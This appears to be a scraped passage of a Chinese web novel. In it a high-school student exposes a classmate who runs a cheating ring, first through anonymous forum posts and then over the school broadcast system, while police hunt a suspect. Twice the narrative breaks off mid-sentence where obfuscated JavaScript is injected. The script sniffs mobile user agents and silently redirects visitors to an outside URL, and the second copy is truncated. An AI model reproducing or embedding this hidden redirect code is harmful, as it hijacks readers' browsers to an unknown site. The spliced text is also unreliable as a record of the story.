“心情不好,”汤振问道:“所以你让心情变好的方式,就是火急火燎打包行李,准备直接转学么?” 沈言峰的后背微微一僵,转过身,一脸无所谓的表情,“看来,班长也把这事儿告诉你了。既然你都知道,还跑来干什么?” 汤振毫不客气地拉来一把折叠椅,稳稳坐下,回道:“但班长还说,你转学手续没办完就请假回家了,你是还在犹豫么?” 沈言峰的语气仍是淡淡的,但脸上的表情多了一丝不耐烦,“回镇上的学校,总得给我一些时间联系协调吧?转学这种事,又不是说转就能立刻转走的。” 汤振看向沈言峰的背影,问道:“那你觉得,只要你转学了,别人就找不到你了吗?” 沈言峰的眉头都快要拧在一起,烦躁地看着窗外的夜色,“大不了,大不了再搬家。只要离开浥鸣二中,离开浥鸣县……” “还是省省这笔钱吧,”汤振打断道:“你别忘了,你在我们学校还背着上学期期末考试作弊被抓的处分呢,按照规定,你要是现在转学走了,那个处分可就消不掉了。” 沈言峰长长叹了口气,沉默了半晌,道:“于浩磊……你这次来,没有用手机录音吧?” 汤振平静地从口袋里掏出手机,将屏幕朝向沈言峰,长按下了电源键。 伴随着一阵关机动画,手机屏幕彻底变黑。 “啪嗒。” 汤振极为随意地将手机扔到了旁边的茶几上,开口道:“其实,上学期你偷孟晓芸手机那次,我也没开录音。” 汤振抛出了这句迟来的实话:“我那天晚上之所以那么说,只是吓一吓你,想让你说出威胁你的人。” 闻言,沈言峰呆呆地看着茶几上那部已经关机的手机,隔了几秒,才慢慢放松了面部表情,“行吧,你做事有时在我意料之中,有时在我意料之外。” 沈言峰呼出一口浊气,无力地坐到了沙发上,“既然你这么想知道,那我就告诉你吧。威胁我的人,就是高三的年级第一伍泓。” 沈言峰的眼底闪过一阵浓愁,“作弊的事情,伍泓也有参与。至于我为什么也卷了进去,是因为我初三偶然的一次鬼迷心窍,贪图那点快钱,才误入了他们的作弊团伙。后来,等我想要抽身的时候,一切都已经来不及了。” 汤振静静地点头,伍泓也参与作弊的事情,他已经通过丁航的初三物理答题卡确定了,只是他一直不知道威胁沈言峰的人也是伍泓。 “那你上学期偷孟晓芸的手机是为什么?”汤振抛出了这个一直没想通的问题。 沈言峰缓了缓呼吸,答道:“是因为我上学期实在受不了了,去找伍泓,说我无论如何都要退出。” 沈言峰的眼中泛起一丝激动,继续道:“伍泓当时就说,想退出,可以,但必须赔偿因我而损失的十个人的作弊代笔费用,大概五千……我真的不知道去哪里才能弄到这些块钱,当时我也实在是没有办法了,伍泓就暗示我去偷孟晓芸的手机。” “伍泓怎么知道孟晓芸有最新款手机?”汤振疑惑道。 “那段时间是艺术大赛复赛的训练时期,孟晓芸拿手机去帮班长拍照,那部手机就被伍泓盯上了。”沈言峰不急不慢地解释道。 汤振缓缓点头,又接着问道:“那你手机没偷到,后来又是怎么办的?” “还能怎么办?因为我没弄到钱,根本走不掉,所以只能硬着头皮,继续在期末考试里帮他们作弊……这才会被教导主任抓了现行。” 看着沈言峰一脸颓废的表情,汤振心里也有些不忍,但还有一个疑问在脑海里盘旋着。 汤振复又问道:“所以,第一天的期末考试结束后,伍泓以为是丁航告密导致你被抓,对不对?所以伍泓才要报复丁航,找了三个混混去14巷堵他。” 沈言峰眼神涣散地点了点头,“对……那确实是伍泓出的主意,原因也很简单,之前每一次买答题卡的名单里都有丁航,唯独上次期末考试丁航没买,伍泓就认定是丁航向老师举报了。” 汤振微微眯起眼睛,点了点头,“原来真的是这样,看来我的推测基本正确。” 沈言峰抬起头,看着汤振,说起了另一件事:“其实,上学期开学一个月的时候,围堵你和于浩宁的那四个人,里面也有伍泓。因为你当众举报了伍泓抄袭你的作文,让他颜面扫地,所以他就想着报复你。” 汤振“嗯”了一声,道:“这个我也推断出来了的。” 沈言峰低下头,“好吧。” 汤振咽了口唾沫,又逼视着沈言峰,“但是让我感到可怕的是,你什么都知道,却不告诉老师伍泓这些恶行,你就……眼睁睁看着这一切发生。” “我凭什么要说,”沈言峰也激动地站了起来,红着脖子道:“你都知道我家地址,伍泓更是能随随便便威胁到我。我连转学都转得这么困难,又能拿什么去跟伍泓对抗,我有证据吗?举报之后,如果伍泓报复我,老师可以二十四小时保护我吗?” “我可以理解你的逃避,”汤振声音锋利:“但是,你的逃避,只会让伍泓那种人更加肆无忌惮,也会换下一个人继续被他们霸凌和压榨。” “那又怎样,”沈言峰扭过头,发出一声不屑的冷笑,“我本来就是一个自私的人,我只想自保,别人被霸凌跟我又有什么关系?” 汤振没有立刻否定,只平静道:“我知道,你作为弱势的一方,自私一点,这没有错,你也不用觉得有道德枷锁。” 汤振站起身,缓缓走到沈言峰面前,目光坚韧道:“但是,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588236|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始终相信,办法总比困难多。既然你在这个泥潭里已经犯了很多错误,你就……你就不要一错再错了。” 沈言峰眼神里闪过一丝挫败,弱声道:“不是每个人都像你一样什么都不怕,有时候,我真的挺不理解你。” 汤振重新拿起茶几上的手机,眼神中充满了力量,“不理解没关系,但如果我告诉你,我有办法把伍泓的事情抖出来呢?” 沈言峰倏然看向汤振的双眼,一脸不可置信的表情。 汤振用平静却不容抗拒的口吻说道:“你还记得吗,之前,你还专门谢我帮你顺利拿到贫困补助,我当时让你拿出点儿实质性的诚意。” 沈言峰强颜笑了笑,扯动了一下嘴角,“所以,你今天来,是想让我用实质行动感谢你。” 汤振重重地点了点头,字字清晰道:“没错,沈言峰,只要你肯站出来作为人证,我就敢和伍泓一较高下。” 沈言峰的喉结滚动了一下,一字一顿道:“你……你,你要我怎么帮?” “很简单,你放心,”汤振将手机塞回口袋,转身走向门口,握住门把手,回头道:“你就先别转学了,正常回学校上课。大概十天过后,就是你能帮到我的时候了。好吗?” 沈言峰怔怔地看着汤振的背影,终于没有再反驳,缓缓点了点头,“行,我答应你。” 汤振微笑着轻拍了一下沈言峰的左肩,“放心吧。” 从沈言峰家所在的那栋破旧居民楼出来时,已是晚上九点半。 雨已停了很久,但老城区的街道上依然积满了大大小小的水洼。 汤振拉紧了校服外套的拉链,将双手深深地插进口袋里,独自一人走在灯火明亮的主干道上。 偶尔几辆车从路上飞驰而过,溅起半米高的水花。 这段路并不算近,步行回去大概需要三十分钟。 这三十分钟的冷风,彻底吹散了刚才在沈言峰家里的暴戾情绪,这三十分钟的安静,也足够让汤振思考稍后和于浩宁的对话以及十天后的计划。 当汤振终于走到老城区的街边,推开家门时,客厅里只留着一盏昏暗的地灯,许艺岚和于强显然已经睡下了。 汤振放轻脚步,换上拖鞋,朝自己卧室走了过去,卧室的灯光从下方的门缝漏出,看样子于浩宁应该还没睡。 快速洗完澡,汤振推开卧室门,只见于浩宁正穿着睡衣,盘腿坐在床上,手里拿着一本单词书。 见汤振进来,于浩宁放下随身听,抬头问道:“怎么样,今天和沈言峰说了些啥?” 汤振反手将卧室门锁上,走到自己的床边,拿起桌上的毛巾擦了擦还未吹干的头发,说道:“伍泓这大半年,三番五次暗地里整我。” 汤振笑意冷冽,继续道:“来而不往非礼也!我被他当成傻子一样耍了这么多次,现在既然摸清了底细,我当然也要还击一次。” 于浩宁的表情严肃了几分,“你怎么还击?” 汤振身子微微后仰,轻笑道:“伍泓上学期期末考试的语文答题卡,还有丁航初三的物理答题卡,现在都还在我手里呢,上面的字迹就是铁证。既然证据都有,我还怕找不到办法反击他么?” 于浩宁紧绷的肩膀微微放松,有些无奈,又有些打趣地问道:“那你这次想要反击伍泓,也是在分析完我哥的性格之后,为了入戏而做的决定么?” 汤振脸上的笑意渐渐收敛,“倒也不是为了入戏。” 说着,汤振看向书桌上那盏散发暖光的台灯,声音变得低沉:“不过……浩宁,假设你哥此时此刻就站在这里,他会不会也选择这么做呢?” 于浩宁愣了一下,随即摊开双手,撇嘴道:“这不是一个无解的问题么?” “不,有解!”汤振一字一顿地说道:“当时,你哥在天台上亲口警告过伍泓,说如果伍泓敢作弊,他就敢举报。所以这次,就当是我替你哥兑现承诺吧。” 于浩宁看着汤振坚定的眼神,神色又变得严肃起来,手指无意识地抚着身下的床单,眉头微蹙道:“我理解你的仗义,但我……也是真的担心你。如果是我哥去举报伍泓,也许轻轻松松就能举报成功。” 于浩宁深吸了一口气,话锋一转:“但你别忘了,你是汤振呀,如果为了反击伍泓,把事情闹大了,万一引起学校的深入调查,你的真实身份暴露了怎么办?或者,万一证据不足,举报不成功怎么办?又或者,万一伍泓倒打一耙,说你诬陷或故意闹事,学校给个处分或者直接开除你,又该怎么办?” 面对这连珠炮弹般的提问,汤振的身体轻微怔住片刻,答道:“浩宁,你说的这些我都考虑过。” 汤振又站起身,走到窗前,一把拉上窗帘,将夜色挡在外面,继续道:“可是,如果我因为害怕而选择退缩,任由伍泓安然无恙留在学校……” 说到这里,汤振脑海中又想起了今天早上的事情:电话里,汤禾峻提到了伍泓的名字,如果,如果汤禾峻真的找上伍泓一起联手对付自己…… 但是,汤振却不敢告诉于浩宁汤禾峻打电话给自己的事情。 于浩宁见汤振默不作声,开口问道:“你在想什么呢,怎么不继续说了?” 汤振的思绪回到了现在,目光如炬道:“哦,没什么,我是在想,既然伍泓做了错事,他就应该付出代价。难道你真的忍心看着沈言峰转学吗?” 于浩宁颓然地叹了一口气,“既然你去找过沈言峰,想必他确实跟你说了很多事情。” 汤振缓缓闭上眼,“嗯”了一声。 “好吧,”于浩宁再次看向汤振,问道:“那你准备怎么反击他,你手上的牌,够大吗?” 汤振双手撑在书桌上,身子微微前倾,看向于浩宁,字字清晰道: “——抓到什么牌,就打什么牌。” 42.匿名发送 第二天下午,晴空万里。 经过昨天那场雨后,今日的天空格外干净,刺眼的阳光将浥鸣二中铺着瓷砖的走廊墙壁照得透亮。 但此时此刻,让整个校园沸腾的并不是刺眼的阳光,而是如同野火般疯狂蔓延的小道消息。 汤振双手从容地插在校裤口袋里,步履轻快,走在教学楼的走廊上,微微侧头,享受着从四面八方传来的交头接耳声。 “你们看论坛了吗?置顶的那个匿名举报贴。” “看了,听说除了上次期末考试被抓的那个人以外,还有代笔者藏在学校里。” “发贴人还上传了一张试卷笔迹,现在大家都在对比周围同学的字迹呢。” “哈哈,反正不是我们班的,我和朋友已经把班上所有人的字迹都对比过了!” …… 汤振听着教学楼里一阵阵窃窃私语,眼底闪过一丝幽暗的笑意。 那条匿名举报贴,当然是汤振昨晚发的,趁着现在下午第一节课上课之前的间隙,满意地在教学楼逛了一圈。 不紧不慢回到高一3班教室后,汤振坐回了自己的位置上。 刚一坐下,于浩宁就隐蔽地把身子探了过来,“哥,所以那条匿名举报贴,就是反击的第一步计划么?” 汤振漫不经心地翻开课桌上的地理课本,竖起食指放在嘴边,轻微“嘘”了一声,“只管看戏就好。” 又余光扫了一眼周围,汤振低声叮嘱道:“如果有机会,你也可以帮忙多传递一下这个消息,让越多人知道越好。” 于浩宁心领神会地眨了眨眼,坐直了身体,神神秘秘地笑道:“话说,这件事也让我发现,偷偷带手机来的同学还不少啊,不然消息怎么传得这么快……” 汤振抿嘴一笑,赞同地点了点头。 就在这时,右边隔着一个过道的丁航突然鬼鬼祟祟地把身子探过来,用左手轻轻抓住汤振的课桌边缘。 “浩磊,”丁航的声音压得极低:“你知不知道学校论坛最新的匿名举报贴?” 汤振的手指在书页上轻微停顿了半秒,随后转过头,换上了一副略带茫然的表情,摇了摇头,“什么匿名举报贴?我中午光顾着睡午觉了,没看手机。怎么了?” 丁航咽了一口唾沫,“出大事了呀。” 又警惕看了看周围,丁航轻声道:“我刚才偷偷拿手机去厕所看了那个贴子,我跟你说,那个贴子里上传的图片,字迹跟我初三物理作弊答题卡上的一样!肯定是那个没被抓到的代笔者,现在被人给爆出来了。” “是吗,”汤振只好假装不知情,身体靠在椅背上,故意睁大了眼睛附和道:“那看样子,这个隐藏的代笔者马上也要暴露了哦?” 丁航捏紧了拳头,咬牙切齿地说道:“只可惜,不知道这个人现在还在不在咱们学校读书……” “既然贴子都发出来了,那想来举报的人应该知道这个人还在二中吧,”汤振伸出手,拍了拍丁航的左肩,笑道:“总之,反正现在也还不知道究竟是谁,咱们就安安心心地看热闹就行了。” “好,我倒要看看是谁。”丁航解气地哼了一声。 在一片嬉闹声中,前桌的蒋朋和后桌的姜岩,也不安分地把身子凑了过来。 “哎哎哎,都别闲着啊!” 姜岩说着话,手里拿着自己的笔记本,隔着汤振的座位,朝蒋朋喊道:“大家都在看热闹,咱们也不能落伍呀!” 蒋朋也回过头,看向姜岩,一脸不服气的表情,“来来来,自证清白,大家互相检查一下笔迹!” 说完,蒋朋也拿着语文书,伸手越过汤振的课桌,把书递到了姜岩手中。 “丁航,”蒋朋挤眉弄眼地喊道:“把你的笔记本也拿出来,当着大家的面,对比一下。” 看着蒋朋和姜岩积极凑热闹的模样,汤振和于浩宁对视了一眼,忍不住笑了出来。 “查呗,随便查!”丁航坦荡地将写满笔记的地理书直接递了过去。 姜岩也把身子凑近,几个人的脑袋挤在一起,看着丁航的字迹仔仔细细地对比了一圈。 “呼——” 对比完后,蒋朋还装模作样地抹了抹额头上并不存在的汗水,长舒了一口气。 姜岩笑道:“看来不是咱们几个人的字迹,哈哈。” 丁航翻了个白眼,“咱们班上还有这么多同学呢,逐一对比的任务就交给你俩啦。” “叮铃铃——” 就在几人的笑声中,下午第一节课的上课铃倏然敲响。 伴随着铃声,地理老师拿着教材和地球仪,大步流星地走进了高一3班。 一进门,地理老师就看到几个男生还凑在一起比比划划,整个教室也飘浮着一阵低声讨论的声音。 “行了行了,都把心收一收,”地理老师走上讲台,把教案扔在了桌面上,敲了敲黑板,招呼道:“这上课铃打完有一阵了,别忘了你们学生的第一要务是什么。论坛上随随便便冒出来的一篇匿名举报贴,就让你们激动成这样,连课都不准备上了吗?” 汤振自然而然收起脸上的笑意,将地理书翻到今天的内容,低眉顺眼地答道:“老师,大家只是怀着求真的心态,凑凑热闹而已,一定不会落下学业的。” 地理老师看了一眼汤振,脸色稍微缓和了一些,“我倒不是说让大家对这事儿不闻不问。” 双手撑在讲桌上,老师继续讲道:“既然这事儿已经爆出来了,还附了那么清晰的证据,学校是有可能认真调查的。你们呢,就不用操心太多啦,现阶段还是成绩最重要。半个月前,你们才考完这学期的第一次月考,对自己的成绩满不满意呢?不满意的话,就继续努力,下个月初又有期中考试了。” 汤振连忙答道:“是,我们明白,老师。” 江悦也不紧不慢地应声道:“放心吧,老师,我们会严于律己,宽以待人的。” 汤振平静地翻开地理书,看着窗外洒满阳光的校园,一阵轻松的笑意难以掩饰地绽放在了他的脸上。 讲台上,地理老师正在黑板上用力勾勒着经纬网,粉笔灰在仲春的光束里簌簌落下。 窗外,长满新叶的枝丫在微风中摇曳。 四月的暖风拾起操场边几缕蒲公英细绒,穿过十字路口和街巷,飘入警察局三楼的铝合金窗框内,落在邢警官的办公桌上。 办公室里,邢警官的双眼熬得通红,眼底布满了血丝,拿起笔帽,将手里的钢笔“咔嗒”一声合上。 办公室的磨砂玻璃门被一把推开。 凌警官手里攥着一个蓝色的硬纸板文件夹,连门都顾不上敲,带着一身欣喜的气息,大步流星地冲了进来。 “老邢,抓到点儿尾巴了!”凌警官语速极快,声音虽略显沙哑,但语气里却透着一股压抑不住的亢奋。 走到办公桌前,凌警官“嗒”地一声,将手里的文件夹拍在了桌面上。 邢警官被这突如其来的动静打断了手上的动作,目光落在那份文件夹上,原本紧绷的脸色变了变。 “什么意思,”邢警官将钢笔扔在桌面上,身子微微靠在椅背上,看向凌警官,“那个嫌疑人……有新线索了?” “对,”凌警官干脆地点了点头,直接翻开文件夹,从里面抽出一张稍显模糊但经过技术处理放大后的照片,伸出手,将照片推到了邢警官的眼皮子底下。 凌警官指着照片右下角的一串时间,开口道:“之前咱们的调查思路遇到了阻碍,去年六月份的时候,嫌疑人确实逃离了浥鸣县。但就在刚才,我们部门在复核系统备份的时候,有了新发现。” 说着话,凌警官又伸出手指戳在那串数字上,“老邢,你看日期,这是去年八月初的监控。嫌疑人在外面躲了两个月后,居然又回浥鸣县了。” “回来了?”邢警官猛地将转移往后移,轮子在地面滑动带来一阵摩擦声。 邢警官一把抓起桌上的那张照片,拿到眼前紧紧地盯着。 照片上,那个侧脸轮廓锐利冷硬的身影,瞬间点燃了邢警官眼底的光芒。 “好小子,还敢回来,”邢警官拿着照片的手指微微用力,看向凌警官,问道:“那么从去年的八月初一直到现在呢?这大半年,嫌疑人就一直待在浥鸣县没动过吗?” 面对迫切的追问,凌警官脸上的兴奋稍微收敛了一些,他拉过旁边的一把椅子,缓缓坐下,疲惫地抹了一把脸。 “老邢,我们已经紧急排查了全县各个长途汽车站和火车站,以及主要出城高速路口的监控,能排查的基本都排查了。只能说,目前为止,我们还没有发现嫌疑人在这大半年再次离开浥鸣县的线索。大概率……他现在,就藏在咱们县的某个角落里。” 言毕,凌警官有些无奈地摇了摇头。 邢警官将照片重新放回桌上,问道:“那他去年八月初回来之后的具体行动路线呢,你们有没有把他的行动轨迹拼凑出来?” 凌警官有些无奈地耸了耸肩,叹道:“有倒是有,只是嫌疑人反侦察意识好像挺强的,我们现在掌握的信息断断续续,连不成一条完整的线。以目前的条件,暂时难以缩小具体的搜索范围。” 听到这个棘手的阻碍,邢警官没有发火,只淡然冷笑了一声,道:“没关系,只要他在这里露了尾巴,就有头绪了。哪怕只是一条断掉的线,总好过像无头苍蝇一样乱撞。” 说完,邢警官又伸出手指,敲了敲着桌面,厉声道:“通知你们部门的所有人,全员上阵,咬住去年八月初过后的所有相关监控,顺着那些断断续续的轨迹,推测出他可能的行动路线。还有,重点查看他在沿路可能接触过的任何人,哪怕是路边卖过一瓶水给他的便利店老板,都可以认真调查。” “是,”凌警官立刻站直了身体,干脆地点了点头,“我们会联合其他部门,继续加大力度排查的。” “还有!” 邢警官突然叫住了正准备离开的凌警官,继续道: “只靠监控有时候太被动了,如果技术手段挖不出来,必要的时候,可以增加实地走访调查的方案。拿着照片,去那些路线周边的学校、社区、城中村,挨家挨户地问!” 凌警官的脸色有些垮了下来,他揉了揉自己的后颈,露出一丝为难的苦笑,“老邢,这浥鸣县说大也不大,但说小……也不小呀。没有具体范围,就要进行地毯式的走访,这个可能还是有些困难的。” “量力而为,”邢警官的语气如同钢铁般生硬:“只要嫌疑人还在浥鸣县喘气,就算把整个县城翻过来,也要把他挖出来。” 凌警官深吸了一口气,用力点了点头,“明白,我们会全力以赴的。” 重新将桌上的文件夹拿起,伴随着“砰”一声轻响,凌警官快步走出了邢警官的办公室,重新投入到一场排查风暴中。 窗外,一轮夕阳正缓缓落下,鎏金色的晚霞显得异常耀眼。 天空逐渐染成柔和的紫红色。 归巢的飞鸟成群结队掠过上空,那抹余晖最终被地平线彻底吞没。 夜幕悄无声息地笼罩了浥鸣县,街道两旁昏黄的路灯接连亮起。 晚上九点半。 汤振和于浩宁拖着晚自习后的沉重步伐回到了家门口,掏出钥匙,伴随着“咔嗒”一声轻响,打开了防盗门。 刚进家门,灯光便迎面洒来,客厅的灯开得很亮。 茶几旁,许艺岚正弯着腰,额头上沁出了一层细密的汗珠,她的左手稳稳搀扶着于强的胳膊,在地板上艰难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洗完澡,汤振回到卧室,关了灯,躺在床上,静静聆听着窗外偶尔传入的一两声虫鸣。 于浩宁侧过身,借着窗外路灯透进来的弱光,看向另一边床上的汤振。 “哥,”于浩宁把声音压得极低:“今天只是计划的第一天,那接下来的九天,你打算做什么?” 黑暗中,汤振双手枕在脑后,平躺着笑了一声。 “接下来的九天嘛……什么都不做,咱们就老老实实上课,让论坛那件事在学校里继续发酵呗。等21号那天,你再等着看戏吧。” 一声声言语,消失在绿意盎然的春日里。 气温一天比一天高,校园林荫大道旁的新叶已渐渐变成浓郁的翠绿色。 穿过几次街道,等过几次红绿灯,看着瓦罐汤面的卷帘门每天拉开,又关上,看着黑板上的公式擦了又写,写了又擦。 在家和学校之间,来来回回走了几趟,经历着一个又一个的循环。 等汤振再次望向黑板上的文字时,已经是4月21日的早晨了。 仍是一个晴天。 顶着明媚的阳光,在操场上做完课间操后,汤振穿过拥挤的人潮,找到了申雅丽。 “我拜托你留意的事情,怎么样了?”汤振低声问道。 申雅丽略微警惕地看了看周围,才开口道:“你前几天让我观察伍泓的字迹,我看了一下,这两天看得出来确实有很大变化。” “真的吗,”汤振强压下心头的激动,声音里透着锐利的锋芒:“那这两天的新字迹,有拍到照片吗?” 申雅丽转过头,隐蔽地冲汤振使了个眼色,“老规矩,待会儿等我去了天台,用手机发给你。” “行,谢了!” 汤振干脆地答应了一声,随即在人群的分流处转身,朝着教学楼的方向飞奔而去。 一口气冲上楼梯间,汤振没有回教室,而是熟练地跑到了昏暗又少有人去的顶层。 “嗡——” 口袋里的手机如约震动,是申雅丽发来的几张照片。 汤振靠在脱落得有些斑驳的墙皮上,迅速点进了学校论坛,切换到了那个十天前注册的匿名账号上。 手指在屏幕上飞速跳跃,汤振毫不犹豫地发出了第二篇匿名举报贴。 这一次的贴子,内容是三张图片和一段配文。 第一张图是丁航的初三物理答题卡上的字迹,姓名和学号被打上了马赛克,只露出了班级和年级信息。 第二张图是十天前拍下的伍泓的字迹。 第三张图则是申雅丽刚发来的,是伍泓昨天的字迹。 同时,贴子配文写道: [最新证据!全新出炉!某人高中才来这里读书,但这张初三物理考试答题卡上的字迹却和他的字迹一模一样!而且这十天以来,他的字迹变化这么大,明显就是因为上次的匿名举报让他心虚了!] 汤振将手机静音后揣回了口袋,拍了拍校服上的灰尘,从容地走下楼梯,回到了高一3班。 刚在自己座位上坐下,左手边的于浩宁就将身子探了过来。 “哥,”于浩宁低声道:“我看到你发的新贴了,才刚过10分钟,就有这么多留言了啊。” 汤振平静地点了点头,眼瞎一口唾沫。 于浩宁凑近道:“接下来又打算怎么办,趁热打铁找教导主任吗?” 汤振有些慵懒地靠在椅背上,一脸舒服地闭上眼睛,笑道: “不用,今天下午,我还有一件重要的事情要做呢,我得好好休息休息,才有精力应付。” 于浩宁犹豫道:“你……你一直不肯告诉我你到底想怎么做。” 汤振摸了摸鼻尖,“告诉你,你又阻止我,怎么办?” “我……”于浩宁抿了抿嘴,“你能把握好分寸吗?把握不好的话,我当然要阻止你了。” 汤振没有再回答,只放松地笑了笑,睁开眼,望向窗外刺眼的阳光,脸上写满了坚定。 于浩宁似乎还想说什么,但终是没再开口。 43.失控(上) 傍晚,下课铃声刚响起。 校园里渐渐沸腾起来,成群结队的学生如同开闸的洪水一般,喧闹地朝食堂的方向狂奔而去。 在晚饭期间这个全校防备松懈的时间段里,汤振逆流穿过走廊,进入了博学楼,溜进了五楼那间半掩着门的广播室。 “咔嗒。” 进门后,汤振反手便将门锁死,插上了内侧的金属插销。 面积不大的广播室里亮着几盏指示灯,各种调音设备和主控台安静地摆在桌面上。 汤振大步走到主控台前,深吸了一口气,果断推开了全校广播的总控开关,一把将那支黑色的麦克风拉到了自己面前。 “喂——喂——” 用手掌轻拍了两下话筒。 伴随着一阵刺耳的电流声,汤振的声音从校园各个角落的喇叭里传出,如同惊雷般在浥鸣二中上空炸响: “全校师生,请注意!” 突如其来的命令,让校园里的喧闹出现一刻诡异的停滞。 汤振没有马上继续说下去,他从容地走到玻璃窗前,双手撑着窗台,居高临下地俯视着校园。 刚训练完的体育特长生们整齐划一地停下了脚步,正拥堵在食堂门口的人群纷纷回头,甚至连还没走出教室的老师们也都疑惑地看向了黑板上方的广播。 所有人的目光和注意力,在这一刻,全都被吸附到了校园里的广播上。 汤振满意地转过身,重新走回了主控台,调节了椅子坐下,脸色平静,语气像在讲述着一个与自己毫不相干的故事: “我想,大家一定很好奇,这十天以来,论坛上的匿名举报贴里另一个潜伏着的作弊高手到底是谁。” 说完这句话,刻意地停顿了三秒钟。 随后,对着麦克风清晰笃定地宣布道: “我现在就告诉大家,那个隐瞒了所有人的作弊高手,就是高三2班的年级第一名——伍泓!” 这句话犹如一颗重磅炸弹,在拥挤的食堂大厅里掀起了恐怖的声浪。 端着餐盘的人暂时停下了寻找空位的动作,已经坐下来的人也都面面相觑,半天没有动筷。 整个食堂一声一声掀起了激烈的议论,各种震惊和质疑交织成一片。 而在食堂的另一个角落里,刚刚排上队的于浩宁,在听到喇叭里熟悉的声音时,整个人剧烈地颤抖了一下。 于浩宁带着笑意的脸瞬间一片煞白,眼神中充满了慌乱。 环视一圈,于浩宁倏然转过身,穿过人群冲出了食堂,不顾一切地朝博学楼的方向狂奔了过去,夕阳的光辉在他凌乱的发丝间不断闪烁。 广播室里。 汤振清了清嗓子,继续道: “其实,咱们这位表面上极其光鲜亮丽的年级第一,私底下根本不像他表面上看着那么文静。无论是花钱在巷子里堵人,还是利用把柄勒索同学,伍泓样样都擅长得很。” 博学楼大厅里。 于浩宁正两步并作一步,快速冲向大厅一侧的楼梯间。 刚跑到楼梯间拐角处,便迎面撞上了一个熟悉的身影。 “哎,慢点儿!” 教导主任惊呼道,被于浩宁撞得后退了半步。 当看清撞自己的人是于浩宁时,教导主任的脸上瞬间含了愠怒的表情。 “于浩宁,”教导主任双眼圆睁,又指着楼上的方向吼道:“广播室里的人,是你哥,对不对?你们兄弟俩是不是疯了,今天又要闹什么事?” “没有,主任,”于浩宁满头大汗,语无伦次道:“我哥他,他今天不是故意的……主任,这件事一两句话也解释不清楚,我先上去劝劝他。” 教导主任气得冷哼了一声,指着楼梯间,呵斥道:“赶紧和我上去,把于浩磊给我拽出来。” 两人一前一后,扶着铝合金楼梯栏杆,朝广播室跑去。 广播室内。 汤振拿出皱巴巴的便利贴,对着话筒,一句一句念道: “去年的9月2号,伍泓以为我失踪了回不来,在罗老师的协助下,公然抄袭我的参赛作文,在博学厅被我当众揭穿。” “去年的10月3号,伍泓怀恨在心,带了三个混混,在学校后街巷子里堵我,让我不要多管闲事。” “去年的12月5号,伍泓因不满沈言峰退出作弊团伙,逼沈言峰偷孟晓芸的手机去卖,威胁说给钱才能全身而退。” “去年的12月10号,伍泓联手陈蓉萱,把颜料泼在江悦的衣服上,想要让江悦在复赛被淘汰,但计划失败,被淘汰的人反而是陈蓉萱。” “今年的1月25号,因怀疑是丁航举报导致的作弊团伙暴露,伍泓再次找人在后街14巷里围堵丁航,妄图进行打击报复。” 说到这里,汤振深吸了一口气,声音如同锋利的刀片: “我今天在这里说的所有事情,桩桩件件,都确凿的人证物证。论坛里那三张置顶的图片,就是最好的证据。至于人证,我随时欢迎伍泓当着全校的面,和我当面对质!” 校园里,随着汤振的声音一阵阵从广播传出,人们七嘴八舌的议论声已如潮水般涌起。 食堂和操场,所有偷偷带手机的人,都掏出了口袋里的手机,疯狂刷新着论坛里的贴子,和周围的人饶有兴致地讨论着: “这真的是伍泓干的?” “你没听广播里说吗,时间地点和动机都对应得上。” “天呐,果然人不可貌相啊,亏他还是年级第一!” …… 校园里已然沸腾。 高三2班教室内,伍泓一动不动地坐着,脸颊通红地咬着嘴唇,眼神如冰霜般寒冷,放在桌下的双腿也不住地抖动起来。 广播里,汤振的声音,一句接着一句,从校园各个角落传来: “大家可以仔细观察一下贴子里的三张图片。第一张图,是初三的期末物理考试答题卡,伍泓明明是高中才来这里读的,他怎么会在初中答题卡上留下一模一样的字迹?” “第二张图,是伍泓十天前的字迹,和那张初中答题卡上的字迹一样吧?” “第三张图,是伍泓昨天的字迹,大家对比一下就会发现伍泓的字迹十天内有了明显的变化,是被十天前的匿名举报贴搞到心虚了吗?简直是欲盖弥彰啊!” 说到这里,汤振一脸自信,舒舒服服地靠在了椅背上,继续说道: “大家要是不信,现在就可以去高三2班,检查一下伍泓这十天以来的字迹变化。至于咱们学校之前几次期末考试的答题卡,全都在堆放考试资料的办公室里,欢迎各位老师同学随时前往查看!” 汤振话音刚落,突然—— “哐哐哐!” 广播室的门,被人用力砸响。 汤振漫不经心地转过头。 透过门上的两块玻璃,能清晰看见外面站着的教导主任,此时此刻正满头大汗地盯着广播室内。 在教导主任的身后,还站着一脸愁苦焦虑的于浩宁。 “哥,”于浩宁隔着门喊道:“你先别说了,快出来吧!” 广播室的门隔音效果极好,汤振并未听清于浩宁说了什么。 冷漠地看了门外一眼,汤振重新收回目光,专注地盯着主控台,将嘴缓缓凑近话筒,语气里带着震慑: “伍泓,我警告你!从此以后,别想再威胁任何人!只要我周围的人因为你而出现任何闪失……我保证,不会手软。” 此刻,原本沸腾着的校园,仿佛被一只无形的巨手掐住了咽喉,陷入了落针可闻的沉寂里。 食堂里,人们渐渐回过神来,继续低下头,将饭菜送入口中。 操场上奔跑的训练人员也重新迈出了脚步,将衣服挂在肩上,朝操场外围走去。 广播室内。 汤振伸出手指,“啪”地一声,关掉了话筒,那盏刺眼的红色指示灯瞬间熄灭。 这一刻,汤振才长长地呼出一口气,全程紧绷的脸上终于浮现出一抹如释重负的神色。 汤振站起身,再次透过广播室门上的玻璃,看向外面。 除了教导主任和于浩宁以外,校长也已经带着两名安保人员匆忙站到了门外。 汤振没有躲避,也没有惊慌,起身迈着平静的步子,走到门边。 “咔嗒。” 金属插销被解开,汤振将把手下压,一把拉开了广播室的大门。 在一片严厉与震惊的目光之中,汤振走出了广播室。 